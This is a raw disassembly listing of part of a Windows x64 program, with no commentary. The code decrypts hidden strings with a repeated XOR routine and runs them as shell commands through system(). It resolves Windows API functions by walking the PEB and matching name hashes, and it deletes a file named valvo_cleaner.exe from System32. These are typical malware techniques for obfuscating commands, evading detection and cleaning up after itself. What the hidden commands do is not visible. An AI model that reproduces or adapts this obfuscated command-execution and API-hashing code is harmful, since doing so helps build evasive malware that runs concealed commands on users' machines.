call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edi, Ordinal_32
jmp 0x1400061fa
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._______________________________________________
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x530], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x538], rax
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x770]
call fcn.14000c850
mov esi, dword [rsp + 0x44]
or esi, 8
mov dword [rsp + 0x44], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
and esi, 0xfffffff7
mov dword [rsp + 0x44], esi
lea rcx, [rbp + 0x770]
call fcn.14000b560
lea rdx, str._______________________________________________________________________________________________________________________________n______________.________________________n____________________________________n______________________________n______________Y_______________n_______________________________n___________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rcx, rax
mov dl, 0xa
call fcn.14000bd50
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n_n_n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x540], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x548], rax
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x550]
call fcn.14000c850
or esi, 0x10
mov dword [rsp + 0x44], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x550]
mov rcx, rdi
call fcn.14000c0e0
and esi, 0xffffffef
mov dword [rsp + 0x44], esi
lea rcx, [rbp + 0x550]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140083384]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x560], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x568], rax
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x570]
call fcn.14000c850
bts r14d, 0x11
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x570]
mov rcx, rdi
call fcn.14000c0e0
btr r14d, 0x11
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x570]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x580], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x588], rax
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x590]
call fcn.14000c850
bts r14d, 0x12
mov dword [rsp + 0x40], r14d
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x590]
mov rcx, rdi
call fcn.14000c0e0
btr r14d, 0x12
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x590]
call fcn.14000b560
movups xmm0, xmmword [str.vJRTPX_]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x140083b80]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x140083b88]
mov dword [rbp + 0x18], eax
movzx eax, word [0x140083b8c]
mov word [rbp + 0x1c], ax
cmp byte [0x140083b8d], 0
je 0x1400081b0
xor r8d, r8d
cmp r13d, 2
jl 0x14000816b
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140008060
cmp r8d, 0x1e
jge 0x1400081b0
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140008180
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x20]
mov r14, qword [rbp + 0x30]
test r14, r14
je 0x14000820f
nop word [rax + rax]
lea rax, [rbp + 0x20]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x1400081e0
cmp rsi, 0x10
jb 0x14000824e
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140008246
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400082ea
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400082ea
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x42a82d1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400082e5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400082c0
cmp r8d, 0xfb57d814
je 0x1400082f2
test r9d, r9d
jne 0x140008290
mov rax, qword [rax]
jmp 0x140008260
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x9c4
call rdx
lea rcx, [rbp + 0xc0]
lea r12, [0x140000000]
lea rax, [r12 + 0x83900]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
mov rax, qword [rax + 0xa0]
mov qword [rcx + 0xa0], rax
cmp r13d, 2
jl 0x1400084e6
movdqa xmm5, xmmword [0x14008c670]
xor edx, edx
movdqa xmm4, xmmword [0x14008c6c0]
mov r15d, 4
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
mov r14d, Ordinal_32
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa8
jl 0x1400083e2
jmp 0x14000852d
lea r9, [rbp + 0xc0]
xor r8d, r8d
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa8
jl 0x1400084f0
mov r15d, 4
lea r14d, [r15 + 0x1b]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140083aa0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140083ab0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140083ac0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140083ac8]
mov dword [rbp - 0x48], eax
xor r8d, r8d
cmp r13d, 2
jl 0x1400086b7
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400085b0
cmp r8d, 0x2c
jge 0x140008700
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x1400086d0
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_valvo_cleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._______________________________________________
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x5a0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x5a8], rax
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x740]
call fcn.14000c850
mov esi, dword [rsp + 0x40]
bts esi, 0x13
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
btr esi, 0x13
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x740]
call fcn.14000b560
lea rdx, str._______________________________________________________________________________________________________________________________n______________.________________________n____________________________________n______________________________n______________Y_______________n_______________________________n____________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rcx, rax
mov dl, 0xa
call fcn.14000bd50
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n_n_n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x5b0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x5b8], rax
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x5c0]
call fcn.14000c850
bts esi, 0x14
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x5c0]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0x14
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x5c0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140083384]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x5d0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x5d8], rax
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x6b0]
call fcn.14000c850
bts esi, 0x15
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x6b0]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0x15
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x6b0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x5e0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x5e8], rax
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x5f0]
call fcn.14000c850
bts esi, 0x16
mov dword [rsp + 0x40], esi
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x5f0]
mov rcx, rdi
call fcn.14000c0e0
btr esi, 0x16
mov dword [rsp + 0x40], esi
lea rcx, [rbp + 0x5f0]
call fcn.14000b560
movups xmm0, xmmword [0x1400839a8]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1400839b8]
movups xmmword [rsp + 0x70], xmm1
mov eax, dword [0x1400839c8]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1400839cc]
mov word [rbp - 0x7c], ax
movzx eax, byte [0x1400839ce]
mov byte [rbp - 0x7a], al
xor r8d, r8d
cmp r13d, 2
jl 0x140008b8b
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140008a80
cmp r8d, 0x27
jge 0x140008bd0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140008ba0
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.1400030b0
nop
xor ebx, ebx
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp]
mov r14, qword [rbp + 0x10]
test r14, r14
je 0x140008c2f
nop word [rax + rax]
lea rax, [rbp]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x140008c00
cmp rsi, 0x10
jb 0x140008c6e
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140008c66
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b539
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140008d0a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140008d0a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x54c0557d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140008d05
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140008ce0
cmp r8d, 0xf01a7e80
je 0x140008d12
test r9d, r9d
jne 0x140008cb0
mov rax, qword [rax]
jmp 0x140008c80
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x9c4
call rax
lea rcx, [rbp + 0xc0]
lea rax, [r12 + 0x83a00]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp r13d, 2
jl 0x140008ef4
movdqa xmm5, xmmword [0x14008c670]
xor edx, edx
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
mov edi, Ordinal_32
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x140008df0
jmp 0x140008f38
lea r9, [rbp + 0xc0]
xor r8d, r8d
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
